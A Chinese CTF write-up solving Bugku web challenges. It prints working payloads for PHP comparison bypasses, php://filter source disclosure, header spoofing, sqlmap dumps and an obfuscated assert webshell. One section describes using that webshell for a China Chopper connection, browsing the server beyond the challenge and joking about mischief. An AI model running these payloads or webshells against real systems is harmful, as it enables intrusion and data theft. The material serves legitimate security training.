bugku-WEB

web2

听说聪明的人都能找到答案 http://123.206.87.240:8002/web2/

送分题,查看源代码

1
2
3
4
5
...
<body id="body" onLoad="init()">
<!flag KEY{Web-2-bugKssNNikls9100}>
<script type="text/javascript" src="js/ThreeCanvas.js"></script>
...

KEY{Web-2-bugKssNNikls9100}

计算器

地址:http://123.206.87.240:8002/yanzhengma/

前端限制输入长度,直接控制台修改maxlength为一个大点的数就可以了

1
2
<span id="code" class="nocode">验证码</span> <input type="text" class="input" maxlength="1"/> 
<button id="check">验证</button>

修改后,做完计算提交验证弹出flag

flag{CTF-bugku-0032}

web基础$_GET

http://123.206.87.240:8002/get/

1
2
3
4
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

基础,提交get请求http://123.206.87.240:8002/get/?what=flag即可

flag{bugku_get_su8kej2en}

web基础$_POST

http://123.206.87.240:8002/post/

基础,提交post请求

s2.png

flag{bugku_get_ssseint67se}

矛盾

http://123.206.87.240:8002/get/index1.php

1
2
3
4
5
6
7
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

利用php的弱类型,根据代码,num不能是数字,但num==1。因为php是弱类型,==不严格,所以使用1a,1’什么都可以绕过。payloadhttp://123.206.87.240:8002/get/index1.php?num=1a

flag{bugku-789-ps-ssdf}

web3

flag就在这里快来找找吧 http://123.206.87.240:8002/web3/

1
<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->

Unicode转ASCII,一行代码完事。

KEY{J2sa42ahJK-HS11III}

域名解析

听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag

修改hosts文件,在hosts最后加一行123.206.87.240 flag.baidu.com,在浏览器中访问flag.baidu.com即可

KEY{DSAHDSJ82HDS2211}

你必须让他停下

地址:http://123.206.87.240:8002/web12/

作者:@berTrAM

网页一直刷新,用Burp抓一下,一直在repeater里重放请求,刷新几次会刷到10.jpg,同时会返回flag

s2.png

flag{dummy_game_1s_s0_popular}

本地包含

地址:http://123.206.87.240:8003/

题目挂了

变量1

http://123.206.87.240:8004/index1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>

var_dump() 函数用于输出变量的相关信息。

var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。

正则表达式/^\w+$/限制了输入只能是字母和数字

$$args 可变变量 http://www.php.net/manual/zh/language.variables.variable.php

题目中提到,flag在变量中,那么通过可变变量和var_dump()构造payload:http://123.206.87.240:8004/index1.php?args=GLOBALS

返回array(7) { ["GLOBALS"]=> *RECURSION* ["_POST"]=> array(0) { } ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["ZFkwe3"]=> string(38) "flag{92853051ab894a64f7865cf3c2128b34}" ["args"]=> string(7) "GLOBALS" }

flag{92853051ab894a64f7865cf3c2128b34}

web5

JSPFUCK??????答案格式CTF{\}

http://123.206.87.240:8002/web5/

字母大写

查看源代码,发现是JSFUCK,可以解密,也可以直接在console里执行,结果是ctf{whatfk}

CTF{WHATFK}

头等舱

http://123.206.87.240:9009/hd.php

看到题目,首先想到head

可以在Burp里抓,也可以在Chrome里直接看head

s2.png

flag{Bugku_k8_23s_istra}

网站被黑

http://123.206.87.240:8002/webshell/

这个题没技术含量但是实战中经常遇到

扫目录发现123.206.87.240:8002/webshell/shell.php登录需要密码,扔到Burp里爆破密码。最后跑出来密码是hack

flag{hack_bug_ku035}

管理员系统

http://123.206.31.85:1003/

flag格式flag{}

直接访问,随便输一个用户名密码,提示IP禁止访问,请联系本地管理员登陆,IP已被记录.

使用Burpsuite拦截,在请求中加入X-Forwarded-For: 127.0.0.1伪造本地登录。

在返回的head底部,有一段<!-- dGVzdDEyMw== -->Base64解密后为test123

用户名为admin,密码为test123尝试登陆,返回flag

flag{85ff2ee4171396724bae20c0bd851f6b}

web4

看看源代码吧

http://123.206.87.240:8002/web4/

查看源代码

1
2
3
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

对p1,’%35%34%61%61%32’,p2进行URL解码,得到

1
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

提交67d709b2b54aa2aa648cf6e87a7114f1得到flag

KEY{J22JK-HS11}

flag在index里

http://123.206.87.240:8005/post/

在网页中可以跳转到http://123.206.87.240:8005/post/index.php?file=show.php

当时第一眼看到以为是通过file参数读文件,就直接尝试了file=index.php和file=../index.php等,发现并不行。

看了大佬的思路,学习了php://filter

关于php://filter有几篇文章不错:

payload:http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到index.php内容的Base64编码

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

解码得:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>Bugku-ctf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

flag{edulcni_elif_lacol_si_siht}

输入密码查看flag

http://123.206.87.240:8002/baopo/

作者:Se7en

题目里有请输入5位数密码查看,获取密码可联系我。直接爆破,得到密码13579

flag{bugku-baopo-hah}

点击一百万次

http://123.206.87.240:9001/test/

hints:JavaScript

看源代码中的JS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){
var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
}
});
});

这里其实只需要post一个表单就可以了,clicks的值要大于1000000。

flag{Not_C00kl3Cl1ck3r}

备份是个好习惯

http://123.206.87.240:8002/web16/

听说备份是个好习惯

说到备份就想到bak。访问http://123.206.87.240:8002/web16/index.php.bak获得index.php的备份文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

代码中的$str = str_replace('key','',$str);移除参数中的key可以用kekeyy之类的方法绕过。

最后的判断,md5($key1) == md5($key2) && $key1 !== $key2两个参数不一样,但他们的md5是一样的。这就涉及到php的md5绕过(Hash比较缺陷)。

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

这里给出一部分可以通过php检查的md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

240610708
0e462097431906509019562988736854

随便构造一个payload:http://123.206.87.240:8002/web16/index.php?kkeyey1=s878926199a&&kkeyey2=s155964671a

另一个思路就是用数组绕过

在PHP中,MD5是不能处理数组的,md5(数组)会返回null,所以md5(a[])==null,md5(b[])==null,md5(a[])=md5(b[])=null

payload:http://123.206.87.240:8002/web16/index.php?kekeyy1[]=something&kekeyy2[]=anything

Bugku{OH_YOU_FIND_MY_MOMY}

成绩单

快来查查成绩吧 http://123.206.87.240:8002/chengjidan/

查看源代码,表单以post形式发送。

使用sqlmap一把梭。(与get不同,参数是–data=DATA)

1
2
3
sqlmap.py -u http://123.206.87.240:8002/chengjidan/index.php --data="id=1" --dbs
sqlmap.py -u http://123.206.87.240:8002/chengjidan/index.php --data="id=1" -D skctf_flag --table
sqlmap.py -u -u http://123.206.87.240:8002/chengjidan/index.php --data="id=1" -D skctf_flag -T fl4g --dump

BUGKU{Sql_INJECT0N_4813drd8hz4}

秋名山老司机

http://123.206.87.240:8002/qiumingshan/

是不是老司机试试就知道。

这种一看就知道,要写脚本了。

1
2
3
4
5
6
7
8
9
import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.session()
text = s.get(url)
exp = re.search(r'(\d+[+\-*])+(\d+)',text.text).group()
result = eval(exp)
post = {'value':result}
print(s.post(url,data=post).content)

Bugku{YOU_DID_IT_BY_SECOND}

速度要快

速度要快!!!!!!

http://123.206.87.240:8002/web6/

格式KEY{xxxxxxxxxxxxxx}

又是一道脚本题

flag在head里,并用Base64编码

题目源码提示

<!-- OK ,now you have to post the margin what you find -->

拿到flag以后还要在post出去

1
2
3
4
5
6
7
8
9
import requests
import base64

url = 'http://123.206.87.240:8002/web6/'
s = requests.session()
re = s.get(url)
key = base64.b64decode(re.headers['flag'])
key = base64.b64decode(key.split(':')[1])
print (s.post(url,data={'margin':key}).text)

KEY{111dd62fcd377076be18a}

cookies欺骗

http://123.206.87.240:8002/web11/

答案格式:KEY{xxxxxxxx}

打开网页返回的是

1
rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibryrfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry

除了只能看出是rfrgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbaienvdivrbgtubgtrsgbvaerubaufibry的不断重复,什么也看不出来。

注意现在的URL,http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=参数有意思。filename很明显是Base64。同理将index.php编码为Base64,并不断修改line的值,就读出了整个index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

由代码可知,cookie里margin=margin即可,修改cookie后Response里就是flag

KEY{key_keys}

never give up

http://123.206.87.240:8006/test/hello.php

作者:御结冰城

注释第一行是<!--1p.html-->访问123.206.87.240:8006/test/1p.html就会发生跳转。

使用view-source查看源码view-source:http://123.206.87.240:8006/test/1p.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<HTML>
<HEAD>
<!--


var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

可以看到里面有编码。

用url解码var Words一次后得到

1
2
<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->

对剩余的再解Base64一次

1
%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E

再url解一次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}


?>

最后所有的组合起来,代码是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<HTML>
<HEAD>
<!--


var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!-- ";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}


?> -->"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

因此,我们可以构造

1
2
3
4
5
id=%00或者id=.或者id=0e1

b=/0012345或者*12345或者?12345或者.12345(这里是运用了正则表达式的思想)

a=php://input

于是输入网址:
http://123.206.87.240:8006/test/hello.php?id=.&a=php://input&b=.12345

再用Burp Suite提交input数据流,得到flag

s2.png

flag{tHis_iS_THe_fLaG}

过狗一句话

http://123.206.87.240:8010/

送给大家一个过狗一句话
<?php $poc=”a#s#s#e#r#t”; $poc_1=explode(“#”,$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[‘s’]) ?>

分析这个php

1
2
3
4
<?php $poc="a#s#s#e#r#t"; 
$poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>

explode() 函数把字符串打散为数组。参考:PHP explode() 函数

poc_1为被打散为数组的poc,poc_2再逐个连接,即poc_2为assert

php中的assert为一个和eval类似的常用命令执行函数。不过它与eval区别在于eval参数是字符,assert参数是表达式(函数)。PHP: assert - Manual

http://123.206.87.240:8010/?s=var_dump(scandir(%27./%27))

使用var_dump和scandir结合读取当前文件夹内容。

1
array(16) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(7) "666.php" [3]=> string(7) "777.php" [4]=> string(5) "a.php" [5]=> string(6) "aa.php" [6]=> string(7) "asd.php" [7]=> string(5) "b.php" [8]=> string(17) "flag_sm1skla1.txt" [9]=> string(9) "index.php" [10]=> string(11) "newfile.txt" [11]=> string(10) "readme.txt" [12]=> string(6) "sy.php" [13]=> string(7) "sy1.php" [14]=> string(8) "test.php" [15]=> string(12) "webshell.php" }

访问flag_sm1skla1.txt获得flag。

BUGKU{bugku_web_009801_a}

干点别的

既然可以实现任意命令执行,那么我们拿个shell试试吧。

其实看到目录里那么多php也能猜到很多人和我的想法是一样的。

其实不一定非要写一句话文件进去,这种情况完全可以用无文件的方式用菜刀连接。

http://123.206.87.240:8010/?s=eval($_POST[%27pass%27])

1.png

这样连一句话不会留下文件。

其实进去是比较失望的,没有什么价值。

2.png

虽然读文件什么的没问题,而且看了其它文件,果然全是一句话。

但是,没有权限。

3.png

读其他文件其实也比较鸡肋。http://123.206.87.240:8010/?s=var_dump(scandir(%27../../%27))一样可以读到上层目录。虽然没什么用,但搅屎够了(滑稽),上传文件编辑文件问题不大。

留个记录 willv.html

字符?正则?

字符?正则?

http://123.206.87.240:8002/web10/

这道题就是考察正则表达式。

1
2
3
4
5
6
7
8
<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

符合正则表达式/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i

随便写一个符合要求的字符串就可以。正则表达式学习

简单分析一下这个正则表达式

.*任意字符匹配,多长都可以

.{4,7}匹配一个长度为4-7的任意字符串

\/.\/反斜杠是转义,中间的.匹配任意字符

(.*key)任意长度字符串+key

[a-z]a-z小写字母

[:punct:]任意符号

\i大小写不敏感

随便一个payload都可以,比如keyakeyaaaakey:/a/akeya:

KEY{0x0SIOPh550afc}

前女友(SKCTF)

http://123.206.31.85:49162/
flag格式:SKCTF{xxxxxxxxxxxxxxxxxx}

查看源代码看到一个code.txt,打开看到源码

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}

和前面的备份是个好习惯一样。

v1和v2不相等但md5相等。v3和flag用strcmp比较。

最简单的方法是

http://123.206.31.85:49162/?v1[]=1&v2[]&v3[]

因为他们都不能处理数组

稍微复杂一点的方法是

http://123.206.31.85:49162/?v1=s878926199a&v2=s155964671a&v3[]

本质上没什么区别

SKCTF{Php_1s_tH3_B3St_L4NgUag3}

login1(SKCTF)

http://123.206.31.85:49163/
flag格式:SKCTF{xxxxxxxxxxxxxxxxx}
hint:SQL约束攻击

参考资料:基于约束的SQL攻击

简而言之,由于在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度,对于超出长度的字符串只能取前n个字符。同时,在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。

我们可以这样做,首先随便注册一个账号去登录,提示必须是管理员。再去注册一个账号,用户名为admin (很多空格) 1(什么字符也行)随便设一个密码,就覆盖了原来的admin用户。再回到登录页以用户名为admin和刚刚设的密码登录就可以登录成功了。

SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

你从哪里来

http://123.206.87.240:9009/from.php

are you from google?

第一印象是检查Referer。

Referer是header的一部分,用于通知是从那个页面访问的,常用于反盗链,访问分析等方面。

用Burpsuite拦截请求,在header里加一行Referer:https://www.google.com重放即可。

1.png

flag{bug-ku_ai_admin}

md5 collision(NUPT_CTF)

http://123.206.87.240:9009/md5.php

MD5碰撞,具体可以看我前面备份是个好习惯里关于md5绕过绕过方面的东西,这道题也是一样的。

payload:http://123.206.87.240:9009/md5.php?a=s878926199a

flag{md5_collision_is_easy}

程序员本地网站

http://123.206.87.240:8002/localhost/

请从本地访问

这道题同样是使用X-Forwarded-For: 127.0.0.1进行绕过,前面管理员系统中同样用到了这个方法。

flag{loc-al-h-o-st1}

各种绕过

各种绕过哟

http://123.206.87.240:8002/web7/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])

print 'passwd can not be uname.';

else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

die('Flag: '.$flag);

else

print 'sorry!';

}
?>

依旧是相同的套路,不过这次不是md5,换成sha1了,不过还是一样的。可以参考备份是个好习惯

这次要同时发送get和post请求。uname和passwd的值不一样,但是他们的sha1一样。同时id为margin。

那么我们这么构造payload:

1
2
http://123.206.87.240:8002/web7/?uname[]=a&id=margin
post:passwd[]=2

flag{HACK_45hhs_213sDD}

web8

txt????

http://123.206.87.240:8002/web8/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

分析代码,需要两个参数ac和fn,ac要和文件fn里内容相同。这道题有两种办法。

